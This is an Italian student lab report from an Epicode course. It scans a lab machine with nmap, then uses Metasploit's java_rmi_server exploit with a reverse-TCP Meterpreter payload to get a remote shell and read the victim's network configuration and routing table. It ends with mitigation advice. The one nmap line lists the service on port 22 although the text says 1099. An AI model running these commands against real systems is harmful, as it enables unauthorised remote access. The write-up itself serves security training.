

10/11/2023

# Progetto Epicode

**Christian Huamacto**

# Exploit con Meterpreter

**Porta 1099 Java RMI**

- Scansionare la macchina vittima con uno scanner per evidenziare la vulnerabilità.
- Una volta ottenuta una sessione remota Meterpreter, raccogliere le seguenti evidenze sulla macchina vittima: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

# Scansione con Nmap

Una volta impostate le macchine sulla stessa rete, si andrà a effettuare una scansione completa, con il comando **-A -T4**, della macchina vittima. Facendo in questo modo potremmo controllare le porte aperte e le relative informazioni.

```
(christian@kali)-[~]  
$ nmap -A -T4 192.168.11.112
```

```
22/tcp open  java-rmi      GNU Classpath grmiregistr
```

# **Porta 1099 Java RMI**

Sulla porta 1099 TCP è attivo un servizio Java-RMI, una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

# Metasploit

una volta individuata la vulnerabilità, si inizierà con la fase di exploit. Aprendo il terminale con i permessi di root e immettendo il comando **msfconsole** si aprirà metasploit. Poi con comando **search** si andrà a cercare l'exploit che andremo poi ad utilizzare

```
(root@kali)-[~]  
# msfconsole
```

```
msf6 > search java_rmi  
  
Matching Modules  
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation



Dopo aver individuato l'exploit da utilizzare, lo selezioneremo con il comando **use**. Andremo poi a controllare i parametri da aggiungere, in questo caso dobbiamo settare l'indirizzo ip della macchina vittima con il comando **set rhosts**

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.111  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   /usr/share/metasploit-framework/data/ssl/cert.pem no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   /               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

# Exploit

Finito di settare l'exploit, lo faremo partire con il comando **run**. Se i payload sono stati settati correttamente Metasploit aprirà una shell di Meterpreter (siamo all'interno della macchina vittima). Alla fine con i comandi **ifconfig** e **route** recupero rispettivamente la configurazione di rete e la tabella di routing della macchina vittima

```
meterpreter > ifconfig

Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fead:b3d8
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0     0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fead:b3d8 ::           ::           0            eth0
```

**Considerazioni finali**



# Vulnerability assessment

Questo tipo di vulnerabilità è considerata critica, proprio perché un attaccante può tranquillamente entrare all'interno del sistema e oltre a controllare varie info, come visto precedentemente, è possibile scaricare file dalla macchina vittima oppure immettere file o codice malevolo.

Per poter mitigare questa vulnerabilità si consiglia di utilizzare un firewall, che limita il trasferimento di dati tramite la porta 1099 con specifici indirizzi ip, in ambito aziendale, oppure di chiuderla nel caso non servisse (nel caso non avessimo applicazioni java che comunichino tra un client e l'altro)

**Fine**